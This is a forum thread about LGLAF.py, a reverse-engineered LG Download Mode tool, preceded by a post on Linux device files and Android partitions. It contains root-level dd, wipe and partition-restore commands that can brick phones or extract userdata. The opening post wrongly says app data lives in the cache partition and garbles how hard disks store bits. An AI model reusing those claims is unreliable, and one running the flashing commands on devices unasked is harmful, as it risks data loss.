crw-rw---- 1 root tty 7, 0 Aug 27 05:17 vcs
crw-rw---- 1 root tty 7, 1 Aug 27 05:17 vcs1
crw-rw---- 1 root tty 7, 2 Aug 27 05:17 vcs2
crw-rw---- 1 root tty 7, 3 Aug 27 05:17 vcs3
crw-rw---- 1 root tty 7, 4 Aug 27 05:17 vcs4
crw-rw---- 1 root tty 7, 5 Aug 27 05:17 vcs5
crw-rw---- 1 root tty 7, 6 Aug 27 05:17 vcs6
crw-rw---- 1 root tty 7, 7 Aug 27 05:18 vcs7
crw-rw---- 1 root tty 7, 128 Aug 27 05:17 vcsa
crw-rw---- 1 root tty 7, 129 Aug 27 05:17 vcsa1
crw-rw---- 1 root tty 7, 130 Aug 27 05:17 vcsa2
crw-rw---- 1 root tty 7, 131 Aug 27 05:17 vcsa3
crw-rw---- 1 root tty 7, 132 Aug 27 05:17 vcsa4
crw-rw---- 1 root tty 7, 133 Aug 27 05:17 vcsa5
crw-rw---- 1 root tty 7, 134 Aug 27 05:17 vcsa6
crw-rw---- 1 root tty 7, 135 Aug 27 05:18 vcsa7
drwxr-xr-x 2 root root 60 Aug 27 05:17 vfio
crw------- 1 root root 10, 63 Aug 27 05:17 vga_arbiter
crw------- 1 root root 10, 137 Aug 27 05:17 vhci
crw------- 1 root root 10, 238 Aug 27 05:17 vhost-net
crw------- 1 root root 10, 241 Aug 27 05:17 vhost-vsock
crw-rw----+ 1 root video 81, 0 Aug 27 05:17 video0
crw-rw----+ 1 root video 81, 1 Aug 27 05:17 video1
crw------- 1 root root 10, 130 Aug 27 05:17 watchdog
crw------- 1 root root 249, 0 Aug 27 05:17 watchdog0
crw-rw-rw- 1 root root 1, 5 Aug 27 05:17 zero
As you can see there are a lot of devices, and some of those are pipes/other linux things. To get a list of BLOCK devices, we can either use the lsblk command or we can go into the /dev/block folder and type ls...
/dev/block$ ls -l
total 0
lrwxrwxrwx 1 root root 10 Aug 27 05:17 179:0 -> ../mmcblk0
lrwxrwxrwx 1 root root 12 Aug 27 05:17 179:1 -> ../mmcblk0p1
lrwxrwxrwx 1 root root 12 Aug 27 05:17 179:2 -> ../mmcblk0p2
lrwxrwxrwx 1 root root 6 Aug 27 05:17 8:0 -> ../sda
lrwxrwxrwx 1 root root 7 Aug 27 05:17 8:1 -> ../sda1
lrwxrwxrwx 1 root root 8 Aug 27 05:17 8:10 -> ../sda10
lrwxrwxrwx 1 root root 8 Aug 27 05:17 8:11 -> ../sda11
lrwxrwxrwx 1 root root 7 Aug 27 05:17 8:2 -> ../sda2
lrwxrwxrwx 1 root root 7 Aug 27 05:17 8:3 -> ../sda3
lrwxrwxrwx 1 root root 7 Aug 27 05:17 8:4 -> ../sda4
lrwxrwxrwx 1 root root 7 Aug 27 05:17 8:5 -> ../sda5
lrwxrwxrwx 1 root root 7 Aug 27 05:17 8:6 -> ../sda6
lrwxrwxrwx 1 root root 7 Aug 27 05:17 8:7 -> ../sda7
lrwxrwxrwx 1 root root 7 Aug 27 05:17 8:8 -> ../sda8
lrwxrwxrwx 1 root root 7 Aug 27 05:17 8:9 -> ../sda9
Here you can see my sdcard (mmcblk0) and my primary hard drive (sda). The number at the end represents the partition number. As you cans see, I have 11 partitions on my hard drive on my laptop and my sdcard has 2 partitions (in liunx the first of almost everything is 0 instead of 1).
Those ARE real partitions... but the storage isn't exactly like a hard disk drive. All of the information is saved on memory chips in the phone, whereas a hard disk drive (HDD) uses magnetic dust to signify bits (if more dust is on the top of the sector it's a 1, and if more dust is down it's a zero). Also, there are MANY more Android partitions than the partitions that you listed.... using the "cat" command you can print a text file to the screen in linux (including Android) and the /proc/ folder has a bunch of text files with information about your device. Typing the command "cat /proc/partitions" on my ZTE prints this out...
$ cat /proc/partitions
major minor #blocks name
253 0 196608 zram0
179 0 7634944 mmcblk0
179 1 8192 mmcblk0p1
179 2 8192 mmcblk0p2
179 3 8192 mmcblk0p3
179 4 8192 mmcblk0p4
179 5 8192 mmcblk0p5
179 6 8192 mmcblk0p6
179 7 8192 mmcblk0p7
179 8 16384 mmcblk0p8
179 9 16384 mmcblk0p9
179 10 8192 mmcblk0p10
179 11 90112 mmcblk0p11
179 12 49152 mmcblk0p12
179 13 49152 mmcblk0p13
179 14 8192 mmcblk0p14
179 15 8192 mmcblk0p15
179 16 16384 mmcblk0p16
179 17 8192 mmcblk0p17
179 18 8192 mmcblk0p18
179 19 8192 mmcblk0p19
179 20 8192 mmcblk0p20
179 21 8192 mmcblk0p21
179 22 8192 mmcblk0p22
179 23 8192 mmcblk0p23
179 24 1024 mmcblk0p24
179 25 8192 mmcblk0p25
179 26 8192 mmcblk0p26
179 27 32768 mmcblk0p27
179 28 540672 mmcblk0p28
179 29 2621440 mmcblk0p29
179 30 4030447 mmcblk0p30
179 64 4096 mmcblk0rpmb
179 128 31260672 mmcblk1
179 129 31256576 mmcblk1p1
254 0 4030431 dm-0
Each of those partitions stores different information in them. One is the cache partition, which is where all app data is stored. One is for the baseband (cellular radio chip), zram0 is RAM, system contains the Android system file (like c:\windows). Nowadays, there is an frp partition to lock the device if someone attempts to factory reset the device, the account information is still maintained (as the data and cache partitions are formatted but frp isn't, and therefore Android won't let you in unless you supply the username and password). The laf partition has to do with Fastboot (a PC command line program to change the partitions) and there are also vendor, firmware, carrier, and several others that I don't know the purpose of.
I hope this helped you and maybe some other people.
Introduction
Hi folks,
While trying to get CM on a LG G3 (D855), I found people recommending Newest Root Method for LG devices (by digital-bug). Unfortunately this tool is Windows only and does not really describe what happens under the hood. For this reason I started reverse engineering the Download Mode protocol and created a Python tool that can replace the Send_Command.exe binary.
This project is aimed at users who would like to dump or restore partitions and developers who need some power in download mode.
Source code: https://github.com/Lekensteyn/lglaf
(Protocol documentation: https://github.com/Lekensteyn/lglaf/blob/master/protocol.md)
Features
Should work on any LG device.
Dump and restore partitions.
Dump individual files.
Run any shell command as root in Download Mode.
Works on Linux.
Works on Windows.
Opensource code and protocol documentation.
Installation instructions
See the README for details. Basically:
Install Python (www.python.org)
Install PyUSB (Linux) or LG drivers (Windows)
Ensure phone is connected and started in Download Mode (poweroff, hold Volume Up and insert USB cable in a PC).
Run the tool of your choice (lglaf.py, partitions.py, etc.)
Examples
Some examples are listed in the README, here are additional ones:
List partitions, dump the userdata partition (/data) to a local "data.bin" file (may take a while):
Code:
python partitions.py --list
python partitions.py --dump data.bin userdata
Dump all partitions (except ones larger than 64 MiB: cache, userdata, system, cust):
Code:
python extract-partitions.py
Backup the contents of the data partition (assuming it to be small enough to fit in /) and retrieve it:
Code:
python lglaf.py -c "busybox tar czf data.tar.gz data"
python dump-file.py /data.tar.gz data.tar.gz
Get more usage information on these tools:
Code:
python lglaf.py --help
python partitions.py --help
python extract-partitions.py --help
python dump-file.py --help
Q&A
Q: What devices are supported?
A: In principle all LG devices as they all use the same download mode. Tested with G2, G3, G4 (see README).
Q: How can I root a device with this?
A: This depends on your currently installed ROM. Feel free to post a guide.
Q: How can I install a custom ROM using this?
A: With older bootloader versions, you should be able to write a "bumped" recovery image:
Code:
python partitions.py --wipe recovery
python partitions.py --restore cm-12.1-20151117-SNAPSHOT-YOG7DAO1K8-d855-recovery.img recovery
Newer versions (such as my G3 (D855 with 20T)) do not support the "bump" method and will refuse to boot ("ERROR: Boot certification verify").
In that case, wipe the recovery partition and you will end up in the fastboot mode where you can boot your custom images:
Code:
# recovery
fastboot boot cm-12.1-20151117-SNAPSHOT-YOG7DAO1K8-d855-recovery.img
# after installing zip in recovery, reboot, then boot with:
unzip cm-12.1-20151117-SNAPSHOT-YOG7DAO1K8-d855.zip boot.img
fastboot boot boot.img
XDA:DevDB Information
LG Download Mode utility (LGLAF.py), Tool/Utility for all devices (see above for details)
Contributors
Lekensteyn
Source Code: https://github.com/Lekensteyn/lglaf
Version Information
Status: Beta
Created 2016-01-04
Last Updated 2016-01-04
(Reserved post)
(Also, was planning to post this in G3 general, but this is possibly of interest to other LG hackers.)
Hi! I got this to work with lglaf.py but I get the following error with partitions.py
$ python partitions.py --list
Traceback (most recent call last):
File "partitions.py", line 276, in <module>
main()
File "partitions.py", line 253, in main
list_partitions(comm, args.partition)
File "partitions.py", line 124, in list_partitions
partitions = get_partitions(comm)
File "partitions.py", line 41, in get_partitions
assert arrow == '->', "Expected arrow in ls output"
AssertionError: Expected arrow in ls output
Not sure what might be wrong.
Lekensteyn said:
(Also, was planning to post this in G3 general, but this is possibly of interest to other LG hackers.)
Click to expand...
Click to collapse
First of all, this is an awesome tool. I am very intrigued as I have bricked my lgk7 (lgk330). I am running into some trouble with it however.
lets get the preliminaries out of the way:
background:
bootloader is unlocked. neither adb nor fastboot see the device.
I did a full wipe from TWRP, even the system partition, (forgot to restore my backup ) and rebooted . In it's current form, doing this button combination to get back into TWRP on my K7 only runs TWRP "open recovery script" which reboots to the bootloader and no further.
I am using Ubuntu 16.04. Per your readme.md, I have installed Python 2.7.11 as well as 3.5.1+, PyUSB v1.0.0 (from source), and libusb-1.0-0
I added 42-usb-lglaf.rules to my udev rules.d
I have next to no skill with python.
verbose lsusb while in download mode, you'll notice that idProduct is "633e" just like the G3.
Code:
Bus 001 Device 011: ID 1004:633e LG Electronics, Inc. G2 Android Phone [MTP mode]
Device Descriptor:
bLength 18
bDescriptorType 1
bcdUSB 2.00
bDeviceClass 0 (Defined at Interface level)
bDeviceSubClass 0
bDeviceProtocol 0
bMaxPacketSize0 64
idVendor 0x1004 LG Electronics, Inc.
idProduct 0x633e G2 Android Phone [MTP mode]
bcdDevice 3.10
iManufacturer 1 LG Electronics Inc.
iProduct 2 LGE Android Phone
iSerial 3 LGK330b3b3462
bNumConfigurations 2
Configuration Descriptor:
bLength 9
bDescriptorType 2
wTotalLength 39
bNumInterfaces 1
bConfigurationValue 1
iConfiguration 0
bmAttributes 0x80
(Bus Powered)
MaxPower 500mA
Interface Descriptor:
bLength 9
bDescriptorType 4
bInterfaceNumber 0
bAlternateSetting 0
bNumEndpoints 3
bInterfaceClass 6 Imaging
bInterfaceSubClass 1 Still Image Capture
bInterfaceProtocol 1 Picture Transfer Protocol (PIMA 15470)
iInterface 5 MTP
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x81 EP 1 IN
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0200 1x 512 bytes
bInterval 0
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x01 EP 1 OUT
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0200 1x 512 bytes
bInterval 0
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x82 EP 2 IN
bmAttributes 3
Transfer Type Interrupt
Synch Type None
Usage Type Data
wMaxPacketSize 0x001c 1x 28 bytes
bInterval 6
Configuration Descriptor:
bLength 9
bDescriptorType 2
wTotalLength 128
bNumInterfaces 4
bConfigurationValue 2
iConfiguration 0
bmAttributes 0x80
(Bus Powered)
MaxPower 500mA
Interface Descriptor:
bLength 9
bDescriptorType 4
bInterfaceNumber 0
bAlternateSetting 0
bNumEndpoints 3
bInterfaceClass 6 Imaging
bInterfaceSubClass 1 Still Image Capture
bInterfaceProtocol 1 Picture Transfer Protocol (PIMA 15470)
iInterface 6 MTP
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x81 EP 1 IN
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0200 1x 512 bytes
bInterval 0
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x01 EP 1 OUT
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0200 1x 512 bytes
bInterval 0
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x82 EP 2 IN
bmAttributes 3
Transfer Type Interrupt
Synch Type None
Usage Type Data
wMaxPacketSize 0x001c 1x 28 bytes
bInterval 6
Interface Association:
bLength 8
bDescriptorType 11
bFirstInterface 1
bInterfaceCount 2
bFunctionClass 2 Communications
bFunctionSubClass 2 Abstract (modem)
bFunctionProtocol 1 AT-commands (v.25ter)
iFunction 9 CDC Serial
Interface Descriptor:
bLength 9
bDescriptorType 4
bInterfaceNumber 1
bAlternateSetting 0
bNumEndpoints 1
bInterfaceClass 2 Communications
bInterfaceSubClass 2 Abstract (modem)
bInterfaceProtocol 1 AT-commands (v.25ter)
iInterface 7 CDC Abstract Control Model (ACM)
CDC Header:
bcdCDC 1.10
CDC Call Management:
bmCapabilities 0x00
bDataInterface 2
CDC ACM:
bmCapabilities 0x02
line coding and serial state
CDC Union:
bMasterInterface 1
bSlaveInterface 2
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x84 EP 4 IN
bmAttributes 3
Transfer Type Interrupt
Synch Type None
Usage Type Data
wMaxPacketSize 0x0040 1x 64 bytes
bInterval 9
Interface Descriptor:
bLength 9
bDescriptorType 4
bInterfaceNumber 2
bAlternateSetting 0
bNumEndpoints 2
bInterfaceClass 10 CDC Data
bInterfaceSubClass 0 Unused
bInterfaceProtocol 0
iInterface 8 CDC ACM Data
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x83 EP 3 IN
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0200 1x 512 bytes
bInterval 0
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x02 EP 2 OUT
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0200 1x 512 bytes
bInterval 0
Interface Descriptor:
bLength 9
bDescriptorType 4
bInterfaceNumber 3
bAlternateSetting 0
bNumEndpoints 2
bInterfaceClass 255 Vendor Specific Class
bInterfaceSubClass 255 Vendor Specific Subclass
bInterfaceProtocol 255 Vendor Specific Protocol
iInterface 0
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x85 EP 5 IN
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0200 1x 512 bytes
bInterval 0
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x03 EP 3 OUT
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0200 1x 512 bytes
bInterval 0
Device Qualifier (for other device speed):
bLength 10
bDescriptorType 6
bcdUSB 2.00
bDeviceClass 0 (Defined at Interface level)
bDeviceSubClass 0
bDeviceProtocol 0
bMaxPacketSize0 64
bNumConfigurations 2
Device Status: 0x0000
(Bus Powered)
lglfa does communicate with the phone. For example if I run
Code:
/opt/lglaf$ ./lglaf.py
LGLAF.py by Peter Wu (https://lekensteyn.nl/lglaf)
Type a shell command to execute or "exit" to leave.
# !INFO
LGLAF.py: WARNING: Command failed with error code 0x80000001
#ls
LGLAF.py: WARNING: Command failed with error code 0x8000010a
#!EXEC ls\0
LGLAF.py: WARNING: Header field requires a DWORD, got str 'ls\x00'
# dd if=/dev/zero of=/dev/null bs=5129 count=1
LGLAF.py: WARNING: Command failed with error code 0x8000010a
!INFO chances the status box on the phone to
Code:
USER S0.0 AS0.0 S
S U LG-K330 05.1.1 Hrev_10
K33010f
However, if i run something like extract-partitions.py
Code:
/opt/lglaf$ ./extract-partitions.py
Traceback (most recent call last):
File "./extract-partitions.py", line 63, in <module>
main()
File "./extract-partitions.py", line 58, in main
with partitions.laf_open_disk(comm) as disk_fd:
File "/usr/lib/python2.7/contextlib.py", line 17, in __enter__
return self.gen.next()
File "/opt/lglaf/partitions.py", line 73, in laf_open_disk
open_header = comm.call(open_cmd)[0]
File "/opt/lglaf/lglaf.py", line 176, in call
raise RuntimeError('Command failed with error code %#x' % errCode)
RuntimeError: Command failed with error code 0x8000010a
as a last note, here is my !INFO GPRO if it helps
Code:
download cable = 'USER'
battery level = 100
download type = ' '
download speed = 0
usb version = 'UHS'
hardware revision = 'rev_10'
download sw version = ' '
device sw version = 'K33010f'
secure device = 'S'
laf sw version = '1.2'
device factory version = 'LGK330AT-01-V10f-310-260-JAN-06-2016-ARB00+0'
device factory out version = 'LGK330AT-00-V10f-TMO-US-JAN-06-2016-ARB00+0'
pid = 'CY17S160129000815'
imei = 'xxxxxxxxxxxxxxxx'
model name = 'LG-K330'
device build type = 'U'
chipset platform = 'msm8909'
target_operator = 'TMO'
target_country = 'US'
ap_factory_reset_status = 6
cp_factory_reset_status = 0
isDownloadNotFinish = 0
qem = 0
cupss swfv = 'FFFFFFFFFFF-FFFFFFFFFFF-FFFFFFFFFFF-FFFFFFFFFFF-F'
is one binary dual plan = 0
memory size = 15269888
memory_id = 'H8G1e\x05\n'
bootloader_ver = 'MiniOS 3.0'
Any input at all would be greatly appreciated.
I am experiencing the same error with LG G3 EU D855: 0x8000010a. Connection seems to be working (lglaf.py -c '!INFO GPRO \x08\x0b\0\0' > props.bin returns correctly the information), but for any other command I get the error above.
I am trying to retrieve the userdata partition from a device in bootloop, therefore I would be very interested in a solution of this issue.
I don't know if someone is working on this problem, or has any suggestion, that would be very appreciated.
Thank you.
Hi, does anyone know how to push files to the device? I ended up in a bootloop after a botched install of Xposed.
EDIT: By pushing files, maybe something using "<, >, or |" via Command Prompt. I have cat and dd and the like for Windows, if that can be of any use.
rk2612 said:
Hi! I got this to work with lglaf.py but I get the following error with partitions.py ....
Click to expand...
Click to collapse
I couldn't get partitions.py to work and my guess is that this occurs because partitions of my LG-G3-D858HK are perhaps different from D855 for which this is written.
Nonetheless, I was able to use the following to try and install TWRP:
1. Copied TWRP to internal SD Card
2. Once connected in download mode:
$ python lglaf.py
LGLAF.py by Peter Wu (https://lekensteyn.nl/lglaf)
Type a shell command to execute or "exit" to leave.
# dd if=/data/media/0/[name_of_your_recovery].img of=/dev/block/platform/msm_sdcc.1/by-name/recovery
27540+1 records in
27540+1 records out
14100496 bytes transferred in 1.152 secs (12240013 bytes/sec)
# exitThat's it. TWRP installed without a fuss.
Sounds too good to be true but I am wondering if this can be used on all LG / Qualcomm devices. Anyone willing to try?
PS: Make sure that you've got Python 2.7 or 3 and pyusb installed (https://github.com/walac/pyusb) installed. I tried it on Ubuntu 16.04.
rk2612 said:
I couldn't get partitions.py to work and my guess is that this occurs because partitions of my LG-G3-D858HK are perhaps different from D855 for which this is written.
Nonetheless, I was able to use the following to try and install TWRP:
1. Copied TWRP to internal SD Card
2. Once connected in download mode:
$ python lglaf.py
LGLAF.py by Peter Wu (https://lekensteyn.nl/lglaf)
Type a shell command to execute or "exit" to leave.
# dd if=/data/media/0/[name_of_your_recovery].img of=/dev/block/platform/msm_sdcc.1/by-name/recovery
27540+1 records in
27540+1 records out
14100496 bytes transferred in 1.152 secs (12240013 bytes/sec)
# exit
That's it. TWRP installed without a fuss.
Sounds too good to be true but I am wondering if this can be used on all LG / Qualcomm devices. Anyone willing to try?
PS: Make sure that you've got Python 2.7 or 3 and pyusb installed (https://github.com/walac/pyusb) installed. I tried it on Ubuntu 16.04.
Click to expand...
Click to collapse
Yes it works fine for the LG G4 and is my preferred choice because I have linux boxes only. it is integrated in the next version of FWUL as well .
Sent from my LG-H815 using XDA Labs
steadfasterX said:
Yes it works fine for the LG G4 and is my preferred choice because I have linux boxes only. it is integrated in the next version of FWUL as well .
Sent from my LG-H815 using XDA Labs
Click to expand...
Click to collapse
Great! FWUL sounds good like what a lot of people on this forum could use.
Any idea if LG has patched lglaf now like they did patch the bump on LG G3 in subsequent upgrades? Wondering if it works only on LG lglaf partitions that most of us may have if we've manually upgraded system and boot partitions from the KDZ. E.g. when I upgraded from LP to MM, I extracted the system and boot images and then flashed them from TWRP (...hope that your FWUL has KDZ tools and boot / ramdisk pack & unpack tools integrated in it).
rk2612 said:
Great! FWUL sounds good like what a lot of people on this forum could use.
Any idea if LG has patched lglaf now like they did patch the bump on LG G3 in subsequent upgrades? Wondering if it works only on LG lglaf partitions that most of us may have if we've manually upgraded system and boot partitions from the KDZ. E.g. when I upgraded from LP to MM, I extracted the system and boot images and then flashed them from TWRP (...hope that your FWUL has KDZ tools and boot / ramdisk pack & unpack tools integrated in it).
Click to expand...
Click to collapse
Well I don't think so. Keep in mind that those both are total different things and the lglaf communication is needed by their own flashing tools as well.
Bump instead was ..afaik.. a method to unlock/trick the bootloader.
Added your suggestions to the roadmap Thx for the idea!
Sent from my LG-H815 using XDA Labs
steadfasterX said:
...
Added your suggestions to the roadmap Thx for the idea!
Click to expand...
Click to collapse
And since your FWUL is based on Arch, will the ISO be bootable from a grub menu entry? If so, what will that be?
rk2612 said:
And since your FWUL is based on Arch, will the ISO be bootable from a grub menu entry? If so, what will that be?
Click to expand...
Click to collapse
I dont get u sorry. FWUL is an ISO booted from an USB stick or CD/DVD and the idea is to give windows users the option to have a just-working environment for Android end-user tasks.
but we better discuss that in the FWUL thread I think
.
How to reboot to fastboot or recovery? I cant reboot to this
Excellent idea! Unfortunately I get a timeout on both my windows and linux box
Windows:
Code:
IOError: [Errno 2] No such file or directory: u'COM41'
(Correct drivers installed, I can us LGFlashTool to downgrade fine, and device is on COM41)
Linux:
List partitions fails:
Code:
usb.core.USBError: [Errno 110] Operation timed out
lglaf shell:
Code:
# !INFO
LGLAF.py: WARNING: Command failed with error code 0x80000001
It is definitely making communication in linux - if the device isn't plugged in, it gives me that error. Also, certain commands will cause the screen on the phone to change, but not fully as expected. Rats. Any ideas? (I installed the rules.d) Also, I am on BBQ Linux (which is Arch based)
Fix for reading/writing partitions!!
If you know your block mapping (you have a rooted device and can dump the partition table outside of download mode (with real root you would do ls -l /dev/block/platform/msm_sdcc.1/by-name) you can use something like my patch here to get things working:
https://github.com/blastagator/lglaf/commit/6397f3ad88cc9729ff671351991499523e37dfe6
THIS IS ONLY FOR G3 VS985!!! YOUR BLOCK MAPPING MIGHT BE DIFFERENT, DONT JUST COPY MINE!!!
Once you do this, commands like
Code:
python partitions.py --dump boot.img boot
will work fine.
blastagator said:
Excellent idea! Unfortunately I get a timeout on both my windows and linux box
Windows:
(Correct drivers installed, I can us LGFlashTool to downgrade fine, and device is on COM41)
Linux:
List partitions fails:
lglaf shell:
It is definitely making communication in linux - if the device isn't plugged in, it gives me that error. Also, certain commands will cause the screen on the phone to change, but not fully as expected. Rats. Any ideas? (I installed the rules.d) Also, I am on BBQ Linux (which is Arch based)
Fix for reading/writing partitions!!
If you know your block mapping (you have a rooted device and can dump the partition table outside of download mode (with real root you would do ls -l /dev/block/platform/msm_sdcc.1/by-name) you can use something like my patch here to get things working:
https://github.com/blastagator/lglaf/commit/6397f3ad88cc9729ff671351991499523e37dfe6
THIS IS ONLY FOR G3 VS985!!! YOUR BLOCK MAPPING MIGHT BE DIFFERENT, DONT JUST COPY MINE!!!
Once you do this, commands like
will work fine.
Click to expand...
Click to collapse
Have you tried the argument unlock? The name for this argument is totally misleading a better name would be auth because it does not unlock your device but uses a challenge and response method to communicate. Atm it is available with the shell only
Sent from my LG-H815 using XDA Labs
steadfasterX said:
Have you tried the argument unlock? The name for this argument is totally misleading a better name would be auth because it does not unlock your device but uses a challenge and response method to communicate. Atm it is available with the shell only
Sent from my LG-H815 using XDA Labs
Click to expand...
Click to collapse
Ya, it didn't work for me (I also tried the key that was in the comments as something to try if the first didn't work). I'm not too worried about this personally, my main goal was read/write partitions, which is still easily done with my workaround. Certainly things may change down the line though, if they make the unlock nonsense needed for read/write commands. Not sure they would do that though, considering things like the VZW PC update app would need to be able to unlock, and the key could probably be fished out of that communication. *shrug*
Hope my workaround helps someone
K10 has a different structure.
K430TV
partitions.py getting assert error.
this is my mount output
rootfs / rootfs rw,seclabel 0 0
tmpfs /dev tmpfs rw,seclabel,nosuid,relatime,mode=755 0 0
devpts /dev/pts devpts rw,seclabel,relatime,mode=600 0 0
proc /proc proc rw,relatime 0 0
sysfs /sys sysfs rw,seclabel,relatime 0 0
selinuxfs /sys/fs/selinux selinuxfs rw,relatime 0 0
debugfs /sys/kernel/debug debugfs rw,seclabel,relatime 0 0
/dev/block/platform/mtk-msdc.0/11230000.msdc0/by-name/system /system ext4 ro,seclabel,relatime,data=ordered 0 0
/dev/block/platform/mtk-msdc.0/11230000.msdc0/by-name/cache /cache ext4 rw,seclabel,nosuid,nodev,noatime,discard,noauto_da_alloc,data=ordered 0 0
/dev/block/platform/mtk-msdc.0/11230000.msdc0/by-name/protect1 /protect_f ext4 rw,seclabel,nosuid,nodev,noatime,nodelalloc,noauto_da_alloc,commit=1,data=ordered 0 0
/dev/block/platform/mtk-msdc.0/11230000.msdc0/by-name/protect2 /protect_s ext4 rw,seclabel,nosuid,nodev,noatime,nodelalloc,noauto_da_alloc,commit=1,data=ordered 0 0
/dev/block/platform/mtk-msdc.0/11230000.msdc0/by-name/nvdata /nvdata ext4 rw,seclabel,nosuid,nodev,noatime,discard,noauto_da_alloc,data=ordered 0 0
/dev/block/platform/mtk-msdc.0/11230000.msdc0/by-name/cust /cust ext4 rw,seclabel,nosuid,nodev,noatime,discard,noauto_da_alloc,data=ordered 0 0
/dev/block/platform/mtk-msdc.0/11230000.msdc0/by-name/mpt /mpt ext4 rw,seclabel,nosuid,nodev,noatime,discard,noauto_da_alloc,data=ordered 0 0
/dev/block/platform/mtk-msdc.0/11230000.msdc0/by-name/persist /persist ext4 rw,seclabel,nosuid,nodev,noatime,discard,noauto_da_alloc,data=ordered 0 0
/dev/block/platform/mtk-msdc.0/11230000.msdc0/by-name/persist_lg /persist-lg ext4 rw,seclabel,nosuid,nodev,noatime,discard,noauto_da_alloc,data=ordered 0 0
/dev/block/platform/mtk-msdc.0/11230000.msdc0/by-name/OP /OP ext4 rw,seclabel,nosuid,nodev,noatime,discard,noauto_da_alloc,data=ordered 0 0
Any chance to make this work to extract userdata?
Dont know if it helps but if I do a ls with a mount address I get the device. see
# ls -l /dev/block/platform/mtk-msdc.0/11230000.msdc0/by-name/nvdata
lrwxrwxrwx root root 2010-01-03 08:58 nvdata -> /dev/block/mmcblk0p35
# ls -l /dev/block/platform/mtk-msdc.0/11230000.msdc0/by-name/OP
lrwxrwxrwx root root 2010-01-03 08:58 OP -> /dev/block/mmcblk0p38
If I ls -l to /dev/block/
# ls -l /dev/block/
lstat '/dev/block//mmcblk0p11' failed: Permission denied
lstat '/dev/block//mmcblk0p12' failed: Permission denied
lstat '/dev/block//mmcblk0p14' failed: Permission denied
lstat '/dev/block//mmcblk0p16' failed: Permission denied
lstat '/dev/block//mmcblk0p17' failed: Permission denied
lstat '/dev/block//mmcblk0p18' failed: Permission denied
lstat '/dev/block//mmcblk0p19' failed: Permission denied
lstat '/dev/block//mmcblk0p20' failed: Permission denied
lstat '/dev/block//mmcblk0p21' failed: Permission denied
lstat '/dev/block//mmcblk0p22' failed: Permission denied
lstat '/dev/block//mmcblk0p26' failed: Permission denied
lstat '/dev/block//mmcblk0p27' failed: Permission denied
lstat '/dev/block//mmcblk0p29' failed: Permission denied
lstat '/dev/block//mmcblk0p32' failed: Permission denied
lstat '/dev/block//mmcblk0p34' failed: Permission denied
lstat '/dev/block//mmcblk0p35' failed: Permission denied
lstat '/dev/block//mmcblk0p36' failed: Permission denied
lstat '/dev/block//mmcblk0p38' failed: Permission denied
brw------- root root 7, 0 2010-01-03 08:58 loop0
brw------- root root 7, 1 2010-01-03 08:58 loop1
brw------- root root 7, 2 2010-01-03 08:58 loop2
brw------- root root 7, 3 2010-01-03 08:58 loop3
brw------- root root 7, 4 2010-01-03 08:58 loop4
brw------- root root 7, 5 2010-01-03 08:58 loop5
brw------- root root 7, 6 2010-01-03 08:58 loop6
brw------- root root 7, 7 2010-01-03 08:58 loop7
brw-rw---- root system 179, 0 2010-01-03 08:58 mmcblk0
brw-rw---- root system 179, 32 2010-01-03 08:58 mmcblk0boot0
brw-rw---- root system 179, 64 2010-01-03 08:58 mmcblk0boot1
brw-rw---- root system 179, 1 2010-01-03 08:58 mmcblk0p1
brw-rw---- root system 179, 10 2010-01-03 08:58 mmcblk0p10
brw------- root root 179, 13 2010-01-03 08:58 mmcblk0p13
brw------- root root 179, 15 2010-01-03 08:58 mmcblk0p15
brw-rw---- root system 179, 2 2010-01-03 08:58 mmcblk0p2
brw------- root root 179, 23 2010-01-03 08:58 mmcblk0p23
brw------- root root 179, 24 2010-01-03 08:58 mmcblk0p24
brw------- root root 179, 25 2010-01-03 08:58 mmcblk0p25
brw------- root root 179, 28 2010-01-03 08:58 mmcblk0p28
brw------- root root 179, 3 2010-01-03 08:58 mmcblk0p3
brw------- root root 179, 30 2010-01-03 08:58 mmcblk0p30
brw------- root root 179, 31 2010-01-03 08:58 mmcblk0p31
brw-r--r-- root system 259, 1 2010-01-03 08:58 mmcblk0p33
brw------- root root 259, 5 2010-01-03 08:58 mmcblk0p37
brw------- root root 259, 7 2010-01-03 08:58 mmcblk0p39
brw-rw---- root system 179, 4 2010-01-03 08:58 mmcblk0p4
brw------- root root 259, 8 2010-01-03 08:58 mmcblk0p40
brw------- root root 179, 5 2010-01-03 08:58 mmcblk0p5
brw------- root root 179, 6 2010-01-03 08:58 mmcblk0p6
brw------- root root 179, 7 2010-01-03 08:58 mmcblk0p7
brw------- root root 179, 8 2010-01-03 08:58 mmcblk0p8
brw------- root root 179, 9 2010-01-03 08:58 mmcblk0p9
brw------- root root 179, 96 2010-01-03 08:58 mmcblk0rpmb
drwxr-xr-x root root 2010-01-03 08:58 platform
brw------- root root 254, 0 2010-01-03 08:58 zram0
#
Hope this helps
---------- Post added at 02:16 AM ---------- Previous post was at 01:54 AM ----------
Can I use DD to dump to an sd card or OTG?
---------- Post added at 02:35 AM ---------- Previous post was at 02:16 AM ----------
Changed the path in partition.py to /dev/block/platform/mtk-msdc.0/11230000.msdc0/by-name/
Dumping now..
